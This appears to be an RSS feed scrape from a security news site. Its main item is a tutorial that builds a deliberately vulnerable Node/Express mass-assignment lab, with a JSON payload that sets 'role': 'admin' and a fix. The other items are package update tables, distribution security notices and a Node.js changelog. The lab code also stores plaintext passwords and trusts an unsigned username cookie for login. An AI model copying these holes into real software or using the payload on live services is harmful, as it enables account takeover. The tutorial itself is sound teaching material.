                              radcli              1.5.0-2              1.5.1-1
                            radicale             3.5.10-1              3.7.3-1
                             railway              2.9.4-2             2.10.0-1
                            ramalama             0.20.0-1             0.21.0-1
                               ratty              0.3.0-1              0.4.0-1
                              recoll            1.43.14-2            1.43.16-1
                     ruby-chef-utils             19.3.9-1            19.3.14-1
                               rumdl             0.1.91-1             0.1.93-1
                              scrcpy              3.3.4-1                4.0-1
                           sdbus-cpp              2.2.1-1              2.3.0-1
                       sdbus-cpp-doc              2.2.1-1              2.3.0-1
                          sdl2_mixer              2.8.1-2              2.8.2-1
                            sdl2_net            1:2.2.0-2            2:2.4.0-1
                          sdl3_mixer              3.2.0-2              3.2.2-1
                           seaweedfs               4.23-1               4.26-1
                       sentry-native             0.14.0-2             0.14.2-1
                           simutrans            124.3.1-1            124.4.1-1
                             slumber              5.2.5-1              5.3.0-1
                             songrec              0.7.2-1              0.7.3-1
                                sops             3.13.0-1             3.13.1-1
                              srslte             23.11-13              25.10-1
                         srslte-avx2             23.11-13              25.10-1
                              stylua              2.4.1-1              2.5.2-1
                           tailscale             1.96.4-2             1.98.2-1
                                tmon              7.0.6-1              7.0.9-1
                               tombi             0.11.4-1             0.11.5-1
                         torchvision             0.26.0-1             0.27.0-1
                    torchvision-cuda             0.26.0-1             0.27.0-1
                   translate-toolkit             3.19.7-1            3.19.10-1
                       ttf-mona-sans             2.0.24-1             2.0.25-1
                               turbo              2.9.6-1             2.9.14-1
                           turbostat              7.0.6-1              7.0.9-1
                                  ty             0.0.36-1             0.0.37-1
                               typos             1.46.1-1             1.46.2-1
                               ugrep              7.8.1-1              7.8.2-1
                               usbip              7.0.6-1              7.0.9-1
                                vale             3.14.1-1             3.14.2-1
                       video-trimmer              25.03-2              26.03-1
                                 vlc             3.0.22-3             3.0.22-4
                             vlc-cli             3.0.22-3             3.0.22-4
                     vlc-gui-ncurses             3.0.22-3             3.0.22-4
                          vlc-gui-qt             3.0.22-3             3.0.22-4
                      vlc-gui-skins2             3.0.22-3             3.0.22-4
                   vlc-plugin-a52dec             3.0.22-3             3.0.22-4
                    vlc-plugin-aalib             3.0.22-3             3.0.22-4
                     vlc-plugin-alsa             3.0.22-3             3.0.22-4
                      vlc-plugin-aom             3.0.22-3             3.0.22-4
                  vlc-plugin-archive             3.0.22-3             3.0.22-4
                  vlc-plugin-aribb24             3.0.22-3             3.0.22-4
                  vlc-plugin-aribb25             3.0.22-3             3.0.22-4
                      vlc-plugin-ass             3.0.22-3             3.0.22-4
                    vlc-plugin-avahi             3.0.22-3             3.0.22-4
                   vlc-plugin-bluray             3.0.22-3             3.0.22-4
                     vlc-plugin-caca             3.0.22-3             3.0.22-4
                     vlc-plugin-cddb             3.0.22-3             3.0.22-4
               vlc-plugin-chromecast             3.0.22-3             3.0.22-4
                    vlc-plugin-dav1d             3.0.22-3             3.0.22-4
                     vlc-plugin-dbus             3.0.22-3             3.0.22-4
         vlc-plugin-dbus-screensaver             3.0.22-3             3.0.22-4
                      vlc-plugin-dca             3.0.22-3             3.0.22-4
                      vlc-plugin-dvb             3.0.22-3             3.0.22-4
                      vlc-plugin-dvd             3.0.22-3             3.0.22-4
                    vlc-plugin-faad2             3.0.22-3             3.0.22-4
                   vlc-plugin-ffmpeg             3.0.22-3             3.0.22-4
                 vlc-plugin-firewire             3.0.22-3             3.0.22-4
                     vlc-plugin-flac             3.0.22-3             3.0.22-4
               vlc-plugin-fluidsynth             3.0.22-3             3.0.22-4
                 vlc-plugin-freetype             3.0.22-3             3.0.22-4
                      vlc-plugin-gme             3.0.22-3             3.0.22-4
                   vlc-plugin-gnutls             3.0.22-3             3.0.22-4
                vlc-plugin-gstreamer             3.0.22-3             3.0.22-4
                  vlc-plugin-inflate             3.0.22-3             3.0.22-4
                     vlc-plugin-jack             3.0.22-3             3.0.22-4
                  vlc-plugin-journal             3.0.22-3             3.0.22-4
                     vlc-plugin-jpeg             3.0.22-3             3.0.22-4
                     vlc-plugin-kate             3.0.22-3             3.0.22-4
                  vlc-plugin-kwallet             3.0.22-3             3.0.22-4
                vlc-plugin-libsecret             3.0.22-3             3.0.22-4
                     vlc-plugin-lirc             3.0.22-3             3.0.22-4
                  vlc-plugin-live555             3.0.22-3             3.0.22-4
                      vlc-plugin-lua             3.0.22-3             3.0.22-4
                      vlc-plugin-mad             3.0.22-3             3.0.22-4
                 vlc-plugin-matroska             3.0.22-3             3.0.22-4
                     vlc-plugin-mdns             3.0.22-3             3.0.22-4
                  vlc-plugin-modplug             3.0.22-3             3.0.22-4
                    vlc-plugin-mpeg2             3.0.22-3             3.0.22-4
                   vlc-plugin-mpg123             3.0.22-3             3.0.22-4
                      vlc-plugin-mtp             3.0.22-3             3.0.22-4
                 vlc-plugin-musepack             3.0.22-3             3.0.22-4
                      vlc-plugin-nfs             3.0.22-3             3.0.22-4
                   vlc-plugin-notify             3.0.22-3             3.0.22-4
                      vlc-plugin-ogg             3.0.22-3             3.0.22-4
                     vlc-plugin-opus             3.0.22-3             3.0.22-4
                      vlc-plugin-png             3.0.22-3             3.0.22-4
                    vlc-plugin-pulse             3.0.22-3             3.0.22-4
                vlc-plugin-quicksync             3.0.22-3             3.0.22-4
               vlc-plugin-samplerate             3.0.22-3             3.0.22-4
                      vlc-plugin-sdl             3.0.22-3             3.0.22-4
                     vlc-plugin-sftp             3.0.22-3             3.0.22-4
                    vlc-plugin-shout             3.0.22-3             3.0.22-4
                      vlc-plugin-smb             3.0.22-3             3.0.22-4
                     vlc-plugin-soxr             3.0.22-3             3.0.22-4
                    vlc-plugin-speex             3.0.22-3             3.0.22-4
                      vlc-plugin-srt             3.0.22-3             3.0.22-4
                      vlc-plugin-svg             3.0.22-3             3.0.22-4
                      vlc-plugin-tag             3.0.22-3             3.0.22-4
                   vlc-plugin-theora             3.0.22-3             3.0.22-4
                  vlc-plugin-twolame             3.0.22-3             3.0.22-4
                     vlc-plugin-udev             3.0.22-3             3.0.22-4
                     vlc-plugin-upnp             3.0.22-3             3.0.22-4
                   vlc-plugin-vorbis             3.0.22-3             3.0.22-4
                      vlc-plugin-vpx             3.0.22-3             3.0.22-4
                     vlc-plugin-x264             3.0.22-3             3.0.22-4
                     vlc-plugin-x265             3.0.22-3             3.0.22-4
                      vlc-plugin-xml             3.0.22-3             3.0.22-4
                     vlc-plugin-zvbi             3.0.22-3             3.0.22-4
                     vlc-plugins-all             3.0.22-3             3.0.22-4
                    vlc-plugins-base             3.0.22-3             3.0.22-4
                   vlc-plugins-extra             3.0.22-3             3.0.22-4
            vlc-plugins-video-output             3.0.22-3             3.0.22-4
           vlc-plugins-visualization             3.0.22-3             3.0.22-4
                         volatility3             2.27.0-2             2.28.0-1
                             vulscan                2.0-5                2.1-1
                              websvn              2.8.6-1              2.8.7-1
                                wike              3.2.0-2              3.2.1-1
                                wine               11.8-1               11.9-1
                        worker-build              0.8.1-1              0.8.3-1
              x86_energy_perf_policy              7.0.6-1              7.0.9-1
                               xonsh             0.23.6-1             0.23.7-1
                              zizmor             1.25.0-1             1.25.2-1
                              zypper            1.14.96-1            1.14.97-1
                                etcd                    -             3.6.11-2
    intel-oneapi-toolkit - 2026.0.0.198+71180075_e4e3_4c6f_bbbb_19017ed0cf7d-2
                        man-pages-ar                    -             4.30.2-1
                              onedpl                    -          2022.12.0-1


:: Different sync package(s) in repository multilib x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2026-05-16           2026-05-18
-------------------------------------------------------------------------------
                      lib32-fakeroot             1.37.2-1               1.38-1
                        lib32-giflib              5.2.2-1              6.1.3-1
                         lib32-libxi              1.8.2-1              1.8.3-1
                    lib32-sdl2_mixer              2.8.1-1              2.8.2-1
</code></pre>
<p><a href="https://forum.manjaro.org/t/testing-update-2026-05-18-kernels-heroic-games-launcher-certbot-python/187762/1">Click to view the poll.</a></p>
<p>Check if your mirror has already synced:</p>
<ul>
<li><a href="https://repo.manjaro.org/">Mirror-Check Service</a></li>
</ul>
<hr>
            <p><small>2 posts - 2 participants</small></p>
            <p><a href="https://forum.manjaro.org/t/testing-update-2026-05-18-kernels-heroic-games-launcher-certbot-python/187762">Read full topic</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Create a Mass Assignment Lab With Me]]></title>
<description><![CDATA[This is the first part of a series where I’m gonna teach you how to make your own lab. I’ll walk you through every step of the way. From setting up a Github repo, making the lab, testing it and pushing it onto your repo so that you have something to show and talk about in your next encounter with...]]></description>
<link>https://tsecurity.de/de/3525594/hacking/create-a-mass-assignment-lab-with-me/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3525594/hacking/create-a-mass-assignment-lab-with-me/</guid>
<pubDate>Mon, 18 May 2026 12:23:34 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f1REk-v_FWK_drh-apO70w.png"></figure><p>This is the first part of a series where I’m gonna teach you how to make your own lab. I’ll walk you through every step of the way. From setting up a Github repo, making the lab, testing it and pushing it onto your repo so that you have something to show and talk about in your next encounter with someone who’s equally passionate about appsec as you are.</p><h3>Mass Assignment</h3><p>Mass assignment is what happens when a developer lets user input flow directly into an object or database without checking what’s actually in it. Most modern frameworks make it super easy to take everything from a request and map it straight to a model. That’s convenient, but it means a user can sneak in fields they’re not supposed to touch, like a role or isAdmin property.</p><p>This isn’t some theoretical edge case either. Back in 2012, a security researcher named Egor Homakov used exactly this trick on GitHub itself. He added his public key to the Rails organization by exploiting a mass assignment flaw in the way GitHub handled user input. One extra parameter in a form submission, and he had push access to any public repo on the platform. GitHub patched it, Rails added stronger defaults, and developers everywhere kept making the same mistake anyway. It’s 2026 and it’s still happening.</p><h3>Github</h3><p>Create a new repo called mediumLabs and set it to private. Then run these commands to get it set up locally:</p><pre>mkdir mediumLabs<br>cd mediumLabs<br>echo "# mediumLabs" &gt;&gt; README.md<br>git init<br>git add README.md<br>git commit -m "first commit"<br>git branch -M main<br>git remote add origin git@github.com:[your_profile]/mediumLabs.git<br>git push -u origin main</pre><p>We’ll also need a .gitignore at the repo root to keep node_modules out of the repo:</p><pre>echo node_modules/ &gt; .gitignore</pre><h3>Creating the Lab’s Skeleton</h3><h3>Lab Structure</h3><p>Now that we have our repo, it’s time to create the folder structure for our Mass Assignment lab. In the end it will look something like this:</p><pre>/mediumLabs<br>├── .gitignore<br>└── /massAssignment<br>    ├── /node_modules<br>    ├── server.js<br>    ├── register.html<br>    ├── login.html<br>    ├── user.html<br>    ├── admin.html<br>    ├── package.json<br>    └── package-lock.json</pre><p>The lab we’re going to make is a Node/Express app, so make sure you have npm and node installed. If not, go to <a href="https://nodejs.org/en/download">nodejs</a> and you'll see something like this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e4kKPu6Zj8dU13We0IkXVw.png"></figure><p>Just copy and paste it into your terminal and you’re good to go!</p><p>To start we’re going to make our folder ready for npm with the command npm init. This will create a package.json. After that we'll install some dependencies we're going to need for our application: express, nodemon, and better-sqlite3. You'll also see a package-lock.json appear after installing. Don't worry about that, that's normal.</p><pre>mkdir massAssignment<br>cd massAssignment<br>npm init<br>npm i express<br>npm i nodemon<br>npm i better-sqlite3</pre><p>After that, we’re gonna make some final adjustments to package.json before we go and start coding. We need to define what gets started when we give the command and where it's located. For this to work we need to make sure the properties main and scripts are well defined. Use nano or vim to update the contents of package.json. You can leave the defaults for all the rest of the properties.</p><pre>"main": "server.js",<br>  "scripts": {<br>    "start": "node server.js",<br>    "dev": "nodemon server.js"<br>  },</pre><p>To finish up our structure, all we need to do is create the files that will make up our website. We’ll need server.js, user.html, admin.html, login.html, and register.html.</p><pre>touch server.js user.html admin.html register.html login.html</pre><p>So now we have our lab skeleton and we’re almost ready to go and make a vulnerable app!</p><h3>Boilerplate Code</h3><p>Before we start implementing the vulnerable code, I’m gonna provide you with some boilerplate. Just copy and paste it in the correct files and then we’re gonna test if the application starts up. Once that works, we’ll dive into the fun part.</p><p><strong>server.js</strong></p><pre>const express = require('express');<br>const path = require('path');<br>const Database = require('better-sqlite3');<br>const app = express();<br>app.use(express.urlencoded({ extended: true }));<br>app.use(express.json());<br>const db = new Database(':memory:');<br>db.exec(`<br>  CREATE TABLE users (<br>    id INTEGER PRIMARY KEY AUTOINCREMENT,<br>    username TEXT UNIQUE NOT NULL,<br>    password TEXT NOT NULL,<br>    role TEXT NOT NULL DEFAULT 'user',<br>    email TEXT UNIQUE NOT NULL,<br>    address TEXT UNIQUE NOT NULL,<br>    city TEXT NOT NULL,<br>    country TEXT NOT NULL,<br>    phone TEXT UNIQUE NOT NULL<br>  )<br>`);<br>db.prepare("INSERT INTO users (username, password, role, email, address, city, country, phone) VALUES (?, ?, ?, ?, ?, ?, ?, ?)").run('testAdmin', 'password', 'admin', 'admin@test.com', '123 Admin St', 'AdminCity', 'Belgium', '0000000000');<br>db.prepare("INSERT INTO users (username, password, role, email, address, city, country, phone) VALUES (?, ?, ?, ?, ?, ?, ?, ?)").run('testUser', 'password', 'user', 'user@test.com', '456 User Ave', 'UserCity', 'Belgium', '1111111111');<br>const parseCookies = (req) =&gt; {<br>  const cookies = {};<br>  const header = req.headers.cookie;<br>  if (header) {<br>    header.split(';').forEach(cookie =&gt; {<br>      const [key, value] = cookie.trim().split('=');<br>      cookies[key] = decodeURIComponent(value);<br>    });<br>  }<br>  return cookies;<br>};<br>const getCurrentUser = (req) =&gt; {<br>  const { username } = parseCookies(req);<br>  if (!username) return null;<br>  return db.prepare('SELECT * FROM users WHERE username = ?').get(username) || null;<br>};<br>app.get('/', (req, res) =&gt; {<br>  res.redirect('/login');<br>});<br>app.get('/register', (req, res) =&gt; {<br>  res.sendFile(path.join(__dirname, 'register.html'));<br>});<br>app.get('/login', (req, res) =&gt; {<br>  res.sendFile(path.join(__dirname, 'login.html'));<br>});<br>app.post('/login', (req, res) =&gt; {<br>  const { username, password } = req.body;<br>  const user = db.prepare('SELECT * FROM users WHERE username = ? AND password = ?').get(username, password);<br>  if (!user) return res.status(401).send('Invalid credentials');<br>  res.cookie('username', username, { httpOnly: true });<br>  res.redirect(user.role === 'admin' ? '/admin' : '/user');<br>});<br>app.get('/user', (req, res) =&gt; {<br>  const user = getCurrentUser(req);<br>  if (!user) return res.redirect('/login');<br>  res.sendFile(path.join(__dirname, 'user.html'));<br>});<br>app.get('/admin', (req, res) =&gt; {<br>  const user = getCurrentUser(req);<br>  if (!user) return res.redirect('/login');<br>  if (user.role !== 'admin') return res.status(403).send('Forbidden');<br>  res.sendFile(path.join(__dirname, 'admin.html'));<br>});<br>app.get('/api/users', (req, res) =&gt; {<br>  const users = db.prepare('SELECT username, role FROM users').all();<br>  res.json(users);<br>});<br>app.listen(3000, () =&gt; console.log('Server running on http://localhost:3000'));</pre><p><strong>user.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>    &lt;meta charset="UTF-8"&gt;<br>    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;h1&gt;Welcome User&lt;/h1&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p><strong>admin.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>    &lt;meta charset="UTF-8"&gt;<br>    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;h1&gt;Welcome Admin&lt;/h1&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p><strong>register.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>  &lt;meta charset="UTF-8"&gt;<br>  &lt;title&gt;Register&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>  &lt;h1&gt;Register&lt;/h1&gt;<br>  &lt;form action="/register" method="POST"&gt;<br>    &lt;label&gt;Username&lt;br&gt;<br>      &lt;input type="text" name="username" required&gt;<br>    &lt;/label&gt;&lt;br&gt;&lt;br&gt;<br>    &lt;label&gt;Password&lt;br&gt;<br>      &lt;input type="password" name="password" required&gt;<br>    &lt;/label&gt;&lt;br&gt;&lt;br&gt;<br>    &lt;label&gt;Email&lt;br&gt;<br>      &lt;input type="email" name="email" required&gt;<br>    &lt;/label&gt;&lt;br&gt;&lt;br&gt;<br>    &lt;label&gt;Address&lt;br&gt;<br>      &lt;input type="text" name="address" required&gt;<br>    &lt;/label&gt;&lt;br&gt;&lt;br&gt;<br>    &lt;label&gt;City&lt;br&gt;<br>      &lt;input type="text" name="city" required&gt;<br>    &lt;/label&gt;&lt;br&gt;&lt;br&gt;<br>    &lt;label&gt;Country&lt;br&gt;<br>      &lt;input type="text" name="country" required&gt;<br>    &lt;/label&gt;&lt;br&gt;&lt;br&gt;<br>    &lt;label&gt;Phone Number&lt;br&gt;<br>      &lt;input type="tel" name="phone" required&gt;<br>    &lt;/label&gt;&lt;br&gt;&lt;br&gt;<br>    &lt;button type="submit"&gt;Register&lt;/button&gt;<br>  &lt;/form&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p><strong>login.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>  &lt;meta charset="UTF-8"&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>  &lt;h1&gt;Login&lt;/h1&gt;<br>  &lt;form action="/login" method="POST"&gt;<br>    &lt;label&gt;Username&lt;br&gt;<br>      &lt;input type="text" name="username" required&gt;<br>    &lt;/label&gt;&lt;br&gt;&lt;br&gt;<br>    &lt;label&gt;Password&lt;br&gt;<br>      &lt;input type="password" name="password" required&gt;<br>    &lt;/label&gt;&lt;br&gt;&lt;br&gt;<br>    &lt;button type="submit"&gt;Login&lt;/button&gt;<br>  &lt;/form&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>So now that we have all the right files in place, it’s time to start the server.</p><pre>cd mediumLabs/massAssignment<br>npm run dev</pre><p>You should see the output Server running on http://localhost:3000. And if you open your browser on the link you'll see the login form.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/464/1*ZxxsAmjRidSRmjuB9NmGZg.png"></figure><p>Try logging in with the credentials testAdmin:password and testUser:password and verify that the correct page is rendered.</p><p>If that works, stop the server with CTRL-C.</p><h3>What Matters In This Code</h3><p>The HTML files are self explanatory, so I’m not going to walk through those. If you do have questions about them, don’t hesitate to reach out on <a href="https://www.linkedin.com/in/-kevin-t-">LinkedIn</a>. For server.js, I'm going to focus on two things that directly set up the vulnerability.</p><p><strong>1. The </strong><strong>role default</strong></p><p>Look at the table definition:</p><pre>role TEXT NOT NULL DEFAULT 'user',</pre><p>This means that if you insert a user without specifying a role, they automatically get user. Many developers think this alone is enough to prevent privilege escalation. It's not, but it does give a false sense of security. Keep this in mind.</p><p><strong>2. The access control on </strong><strong>/admin</strong></p><pre>app.get('/admin', (req, res) =&gt; {<br>  const user = getCurrentUser(req);<br>  if (!user) return res.redirect('/login');<br>  if (user.role !== 'admin') return res.status(403).send('Forbidden');<br>  res.sendFile(path.join(__dirname, 'admin.html'));<br>});</pre><p>This is actually correct. A normal user could log in and be redirected to /user, but nothing stops them from manually browsing to /admin. This check makes sure they get a 403 Forbidden if they try. The access control itself isn't the problem. The problem is what happens before a user ever reaches this point.</p><h3>Making The Mistake (Deliberately)</h3><p>If you looked through the boilerplate, you might have noticed that there isn’t a POST route for /register. You can load the registration form, but submitting it goes nowhere. Of course that's intentional, because that's where the vulnerability lives.</p><p>When registering a new user, our form needs a lot of fields. Username, password, email, address, city, country, phone. That’s a lot of properties to destructure one by one. And if you’re a developer who’s done this a hundred times, you know there’s a shortcut.</p><p>Enter the spread operator.</p><pre>app.post('/register', (req, res) =&gt; {<br>  const newUser = { role: 'user', ...req.body };<br>  db.prepare('INSERT INTO users (username, password, role, email, address, city, country, phone) VALUES (?, ?, ?, ?, ?, ?, ?, ?)').run(newUser.username, newUser.password, newUser.role, newUser.email, newUser.address, newUser.city, newUser.country, newUser.phone);<br>  res.redirect('/login');<br>});</pre><p>By using ...req.body, we can grab every field from the form without typing out each one individually. And we're being smart about it too. We hardcoded role: 'user' right there in the object. Between this and the DEFAULT 'user' in the database, we've now defined the default role in <strong>two</strong> separate places. Seems watertight.</p><p>Add this route to server.js, restart the server, and register a new user. Navigate to /api/users and you'll see the new user has role: user. Perfect.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BZtR00hXrNrKggbDuosYhw.png"></figure><p>But what happens when we intercept that registration request and, just for fun, add a role parameter?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HpaZgGnOIJrWvt4QH9nKBg.png"></figure><p>Or skip the form entirely and send a JSON request straight from an API client like Burp or Postman:</p><pre>{<br>  "username": "registerUser2",<br>  "password": "password",<br>  "email": "user2@mail.com",<br>  "address": "address2",<br>  "city": "city2",<br>  "country": "country2",<br>  "phone": "phone2",<br>  "role": "admin"<br>}</pre><blockquote>I just added this because most modern apps expose a JSON API, not an HTML form. The vulnerability is the same either way.</blockquote><p>Whatever you send, turns out, those two safety measures aren’t so safe after all.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/454/1*4-in00-T1LP8oxNNj2xTfw.png"></figure><p>We can verify this by logging in with the credentials registerUser2:password. Instead of the user page, we see the admin page. We just pulled off a mass assignment attack.</p><h3>Why It Works</h3><p>The key is in the spread order. When JavaScript sees { role: 'user', ...req.body }, it first sets role to 'user', and then spreads every property from req.body on top of it. If req.body contains its own role property, it overwrites the one we hardcoded. The last value wins.</p><p>The database default doesn’t help either, because we’re explicitly passing a role value in the INSERT statement. The DEFAULT only kicks in when you omit the column entirely.</p><p>So both safety nets fail for the same reason: the attacker-controlled value arrives last and takes priority.</p><h3>Fixing The Mistake</h3><p>A few things went wrong here, but luckily the fixes are simple.</p><p><strong>1. Don’t use the spread operator on user input.</strong> You don’t know what a user might throw at your backend. In this lab it led to mass assignment, but in other contexts it can introduce unexpected fields, break your logic, or cause crashes you didn’t plan for. Explicitly destructure only the fields you expect.</p><p><strong>2. Don’t include sensitive properties in user-facing endpoints.</strong> You don’t need to include role in the INSERT statement at all. Let the database default handle it. The only place you should set a role explicitly is in admin-only functionality that regular users can't reach.</p><p>Implementing both of these gives us:</p><pre>app.post('/register', (req, res) =&gt; {<br>  const { username, password, email, address, city, country, phone } = req.body;<br>  db.prepare('INSERT INTO users (username, password, email, address, city, country, phone) VALUES (?, ?, ?, ?, ?, ?, ?)').run(username, password, email, address, city, country, phone);<br>  res.redirect('/login');<br>});</pre><p>Explicitly tell what fields you need and only put those fields in your database. Sensitive properties like role should only appear in queries that aren't publicly accessible.</p><blockquote><strong><em>Note:</em></strong><em> The code in this lab is deliberately stripped down to focus on the vulnerability. There’s no error handling, no input validation, and passwords are stored in plaintext. Don’t copy the “fixed” version into production and call it a day. It’s secure against mass assignment, but it’s still a lab.</em></blockquote><p>That wraps up Part 1. You’ve got a working lab with a real vulnerability you can exploit and explain. In the next part, we’ll build a different vulnerability. If you have questions or want to connect, find me on <a href="https://www.linkedin.com/in/-kevin-t-">LinkedIn</a>.</p><p><em>I break web apps for fun, make vulnerable labs to learn, and write about it so you can too.</em> More writeups, vulnerable labs, and pentesting war stories on <a href="https://blog.forgesec.be/">blog.forgesec.be</a>. Come say hi on <a href="https://www.linkedin.com/in/-kevin-t-">LinkedIn</a>, no exploits required!</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=30bcc5d30b0f" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/create-a-mass-assignment-lab-with-me-30bcc5d30b0f">Create a Mass Assignment Lab With Me</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Friday]]></title>
<description><![CDATA[Security updates have been issued by Debian (ffmpeg, gsasl, nodejs, postgresql-15, postgresql-17, python3.9, and thunderbird), Fedora (expat, firefox, freerdp, GitPython, kernel, php, rust-podman-sequoia, rust-rpm-sequoia, rust-sequoia-chameleon-gnupg, rust-sequoia-git, rust-sequoia-keystore-serv...]]></description>
<link>https://tsecurity.de/de/3519855/linux-tipps/security-updates-for-friday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3519855/linux-tipps/security-updates-for-friday/</guid>
<pubDate>Fri, 15 May 2026 15:23:14 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>Debian</b> (ffmpeg, gsasl, nodejs, postgresql-15, postgresql-17, python3.9, and thunderbird), <b>Fedora</b> (expat, firefox, freerdp, GitPython, kernel, php, rust-podman-sequoia, rust-rpm-sequoia, rust-sequoia-chameleon-gnupg, rust-sequoia-git, rust-sequoia-keystore-server, rust-sequoia-octopus-librnp, rust-sequoia-openpgp, rust-sequoia-sop, rust-sequoia-sq, and rust-sequoia-sqv), <b>Mageia</b> (awstats, libreoffice, perl-HTTP-Tiny, and tomcat), <b>Oracle</b> (corosync, freerdp, gimp, git-lfs, glib2, jq, kernel, krb5, libsoup3, libtiff, openexr, thunderbird, uek-kernel, and yggdrasil), <b>Red Hat</b> (podman and skopeo), <b>SUSE</b> (amazon-ssm-agent, avahi, c-ares, cairo, containerd, cpp-httplib, dnsmasq, dovecot24, ffmpeg-4, firefox, helm, ImageMagick, iproute2, kernel, krb5, libtpms, ongres-scram, ongres-stringprep, plexus-testing, maven, maven-doxia, mojo-parent, sisu, openCryptoki, openssh, perl-Text-CSV_XS, php8, python-lxml, python-Twisted-doc, python311-click, python311-GitPython, rclone, regclient, and syncthing), and <b>Ubuntu</b> (avahi).]]></content:encoded>
</item>
<item>
<title><![CDATA[Security: Mehrere Probleme in nodejs (Debian)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3518798/unix-server/security-mehrere-probleme-in-nodejs-debian/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3518798/unix-server/security-mehrere-probleme-in-nodejs-debian/</guid>
<pubDate>Fri, 15 May 2026 09:46:06 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ ]]></content:encoded>
</item>
<item>
<title><![CDATA[DSA-6272-1 nodejs - security update]]></title>
<description><![CDATA[Multiple vulnerabilities were discovered in Node.js, which could result
in denial of service or information disclosure.


https://security-tracker.debian.org/tracker/DSA-6272-1]]></description>
<link>https://tsecurity.de/de/3518125/unix-server/dsa-6272-1-nodejs-security-update/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3518125/unix-server/dsa-6272-1-nodejs-security-update/</guid>
<pubDate>Fri, 15 May 2026 02:00:52 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Multiple vulnerabilities were discovered in Node.js, which could result
in denial of service or information disclosure.

<p>
<a href="https://security-tracker.debian.org/tracker/DSA-6272-1">https://security-tracker.debian.org/tracker/DSA-6272-1</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026-05-13, Version 22.22.3 'Jod' (LTS), @marco-ippolito]]></title>
<description><![CDATA[Commits

[4f780905c5] - crypto: fix potential null pointer dereference when BIO_meth_new() fails (Nora Dossche) #61788
[4a09efb947] - crypto: update root certificates to NSS 3.121 (Node.js GitHub Bot) #62485
[e4c0d99839] - deps: update timezone to 2026a (Node.js GitHub Bot) #62164
[0226c8dd7a] - ...]]></description>
<link>https://tsecurity.de/de/3514744/downloads/2026-05-13-version-22223-jod-lts-marco-ippolito/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3514744/downloads/2026-05-13-version-22223-jod-lts-marco-ippolito/</guid>
<pubDate>Wed, 13 May 2026 20:46:22 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/4f780905c5"><code>4f780905c5</code></a>] - <strong>crypto</strong>: fix potential null pointer dereference when BIO_meth_new() fails (Nora Dossche) <a href="https://github.com/nodejs/node/pull/61788" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61788/hovercard">#61788</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4a09efb947"><code>4a09efb947</code></a>] - <strong>crypto</strong>: update root certificates to NSS 3.121 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62485" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62485/hovercard">#62485</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e4c0d99839"><code>e4c0d99839</code></a>] - <strong>deps</strong>: update timezone to 2026a (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62164" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62164/hovercard">#62164</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0226c8dd7a"><code>0226c8dd7a</code></a>] - <strong>deps</strong>: update simdjson to 4.5.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62382" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62382/hovercard">#62382</a></li>
